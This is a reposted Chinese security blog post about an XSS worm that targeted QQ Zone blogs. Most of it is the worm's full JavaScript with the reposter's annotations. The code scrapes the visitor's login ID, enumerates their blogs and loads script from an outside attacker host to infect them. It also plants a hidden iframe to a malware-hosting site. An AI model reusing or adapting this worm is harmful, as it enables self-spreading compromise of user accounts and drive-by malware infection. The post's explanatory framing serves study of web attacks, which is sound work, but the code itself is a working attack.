QQ空间XSS-worm漏洞
发现一篇比较猛的文章,特意贴上来。
Source:http://luanx.blogbus.com/logs/38529803.html (乱雪的博客),做部分修改。
XSS代码来源:http://forum.eviloctal.com/viewthread.php?tid=35024
XSS攻击已经很主流了,它的危害可不是仅仅弹出个alert来吓唬象我这样善良的人了,可以引用一个外部的JS文件,并且控制JS文件的内容,实现XSS蠕虫。最刺激的也就是利用Ajax来写XSS蠕虫了,也是web2.0主流攻击手段了吧。如今网上社区形式的博客空间很多,只要出现XSS并且能够写出XSS蠕虫,基本上可以消灭很多用户,一访问中招的空间,那么你的空间也就被感染,它不像个人电脑一样打补丁来避免自己博客被XSS攻击,本身网站程序问题就直接影响到所有博客用户,也就是一个地方出漏洞,所有博客用户都会可能被攻击。XSS蠕虫继承传统蠕虫病毒的特点,通过互访形式传播感染。
至于危害,比如轻一点就弹个alert吓唬吓唬你,或者利用浏览器漏洞挂马等等。
XSS蠕虫的核心思路:
1.发现跨站漏洞并且能够写利用XSS蠕虫。
2.利用一个博客空间进行跨站(传播源头)。
3.当其他用户来访问这个被感染的空间时,XSS蠕虫做以下事情:
(1).判断用户是否登录,如果登录了就继续从第二步做起走;没登录做其他的事情,自由发挥,比如弹个alert或者其他。
(2).继续判断该用户是否被感染,如果没有感染就将它感染;如果感染了就算了。
大概过程如上。
QQ空间XSS代码及注释:

window.onerror=killErrors;
var shendu;shendu=4;
//—————global—v——————————————
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
var myblogurl=new Array();var myblogid=new Array();
var gurl=document.location.href;
var gurle=gurl.indexOf("com/");
gurl=gurl.substring(0,gurle+3);
var visitorID=top.document.documentElement.outerHTML;
var cookieS=visitorID.indexOf("g_iLoginUin = ");
visitorID=visitorID.substring(cookieS+14);
cookieS=visitorID.indexOf(",");
visitorID=visitorID.substring(0,cookieS);
get_my_blog(visitorID);
DOshuamy();
//挂马
function DOshuamy(){
var ssr=document.getElementById("veryTitle");
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.tkbbs.com/1.html'></iframe>");
}
//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
function get_my_blog(visitorID){
userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
if(xhr){ //成功就执行下面的
xhr.open("GET",userurl,false); //以GET方式打开定义的URL
xhr.send();guest=xhr.responseText;
get_my_blogurl(guest); //执行这个函数
}
}
//这里似乎是判断没有登录的
function get_my_blogurl(guest){
var mybloglist=guest;
var myurls;var blogids;var blogide;
for(i=0;i<shendu;i++){
myurls=mybloglist.indexOf('selectBlog('); //查找URL中“selectBlog“字符串,干什么的就不知道了
if(myurls!=-1){ //找到了就执行下面的
mybloglist=mybloglist.substring(myurls+11);
myurls=mybloglist.indexOf(')');
myblogid[i]=mybloglist.substring(0,myurls);
}else{break;}
}
get_my_testself(); //执行这个函数
}
//这里往哪跳就不知道了
function get_my_testself(){
for(i=0;i<myblogid.length;i++){ //获得blogid的值
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid[i]+"&r="+Math.random();
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
if(xhr2){ //如果成功
xhr2.open("GET",url,false); //打开上面的那个url
xhr2.send();
guest2=xhr2.responseText;
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
if(mycheckmydoit!="-1"){ //返回-
1则代表没找到
targetblogurlid=myblogid[i];
add_jsdel(visitorID,targetblogurlid,gurl); //执行它
break;
}
if(mycheckit=="-1"){
targetblogurlid=myblogid[i];
add_js(visitorID,targetblogurlid,gurl); //执行它
break;
}
}
}
}
//————————————–
//根据浏览器创建一个XMLHttpRequest对象
function createXMLHttpRequest(){
var XMLhttpObject=null;
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
else
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
for(var i=0;i<MSXML.length;i++)
{
try
{
XMLhttpObject=new ActiveXObject(MSXML[i]);
break;
}
catch (ex) {
}
}
}
return XMLhttpObject;
}
//这里就是感染部分了
function add_js(visitorID,targetblogurlid,gurl){
var s2=document.createElement('script');
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
s2.type='text/javascript';
document.getElementsByTagName('head').item(0).appendChild(s2);
}
function add_jsdel(visitorID,targetblogurlid,gurl){
var s2=document.createElement('script');
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
s2.type='text/javascript';
document.getElementsByTagName('head').item(0).appendChild(s2);
}
目前这个代码是以弹出广告的形式出现的,估计是出于商业利益驱动;如果将代码替换成蠕虫病毒,那么其结果将是“祖国江山一片红”,大片大片的电脑将中招。
转载请尊重版权,出处:秋天博客 本文链接: https://www.cfresh.net/web-security/238